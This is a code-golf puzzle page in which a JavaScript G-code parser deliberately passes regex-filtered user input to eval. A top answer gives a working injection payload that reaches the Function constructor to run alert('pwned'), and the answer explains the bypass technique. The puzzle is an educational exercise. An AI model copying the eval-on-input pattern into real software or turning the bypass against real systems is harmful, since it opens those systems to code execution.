7
\$\begingroup\$

Here you can see g-code parser, written in JavaScript to use in microcontroller (like espruino). But you can run it in browser, because it don't use any specific features.

function gcode(str){
  //Removes comment, parses command name and args
  const [,f,args] = (str.match(/^([GM]\d+) ([^;]+)/) || [,"",""]);
  //A1.2 B43 C -> {A: 1.2, B: 42, C: 0}
  eval(f+"({"+args.replace(/(\w)([\d\.]*)/g,"$1: $2+0,")+"})");
}
const G1 = console.log;
gcode(prompt("crackme"));

When you pass G1 X3 Y4.53 Z42 to gcode(), it runs G1({X: 3, Y: 4.53, Z: 42}). As you can see, it uses eval, protected by regexp. But despite of this, you can attack this function and cause remote code execution. Your goal is to run alert("pwned"). This is code golf, so shortest working input wins

example

\$\endgroup\$
3
  • \$\begingroup\$ Is alert`pwned` fine? \$\endgroup\$
    – l4m2
    Oct 29, 2018 at 11:22
  • 2
    \$\begingroup\$ I suggest editing the post to say [[your goal is to display a dialog box with the text "pwned", as if alert("pwned") was run]]. \$\endgroup\$
    – DELETE_ME
    Oct 29, 2018 at 14:39
  • \$\begingroup\$ @l4m2 if it opens box with "pwned" \$\endgroup\$ Oct 29, 2018 at 19:01

1 Answer 1

7
\$\begingroup\$

112 bytes

G1 $:(ƒ=(Τ,$=+[])=>Τ[$]?Τ[$]+ƒ(Τ,++$+'5'[+[]]*(Τ[$]==':')):'')[ƒ('constructor')](ƒ('alert("pwned")'))()

function gcode(str){
  //Removes comment, parses command name and args
  const [,f,args] = (str.match(/^([GM]\d+) ([^;]+)/) || [,"",""]);
  //A1.2 B43 C -> {A: 1.2, B: 42, C: 0}
  eval(f+"({"+args.replace(/(\w)([\d\.]*)/g,"$1: $2+0,")+"})");
}
const G1 = console.log;

payload = `G1 $:(ƒ=(Τ,$=+[])=>Τ[$]?Τ[$]+ƒ(Τ,++$+'5'[+[]]*(Τ[$]==':')):'')[ƒ('constructor')](ƒ('alert("pwned")'))()`;
gcode(payload);

  • Each ƒ (U+0192), Τ (U+03A4) cost 2 bytes, they are not as same as ASCII f, T.

The gcode function will keep any /\W/ characters as is. So, we just need to use these characters to write some logic here. The idea is basically based on how JSF**k works. We construct the codes like this:

(()=>{})["constructor"]('alert("pwned")')

We need string literal "constructor" and alert("pwned"). But gcode convert "constructor" to "c: +0,o: +0,n: +0,....r: +0". So we need to convert the string back. We use this function to do the convert:

ƒ=(Τ,$=+[])=>Τ[$]?Τ[$]+ƒ(Τ,++$+'5'[+[]]*(Τ[$]==':')):''

Τ is the text inputed, $ is index. We first initialize $ to 0 using +[]. Then we output the character at the index position, and check if next character is ":", if so we skip the following 5 characters.


Thanks to l4m2, saves few bytes.

\$\endgroup\$
7
  • \$\begingroup\$ Use $=>$ instead? \$\endgroup\$
    – l4m2
    Oct 29, 2018 at 8:30
  • \$\begingroup\$ +'5'[+[]]? \$\endgroup\$
    – l4m2
    Oct 29, 2018 at 8:52
  • \$\begingroup\$ @l4m2 +'5' will convert to string which is incorrect. \$\endgroup\$
    – tsh
    Oct 29, 2018 at 9:00
  • \$\begingroup\$ I was thinking -~-~-~-~-~$ instead of $-~'4'[+[]] but it turns out to be the same length. \$\endgroup\$
    – Neil
    Oct 29, 2018 at 9:11
  • \$\begingroup\$ @Neil changed to ++$+'5'[+[]]*(ß[$]==':') anyway \$\endgroup\$
    – tsh
    Oct 29, 2018 at 9:16

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.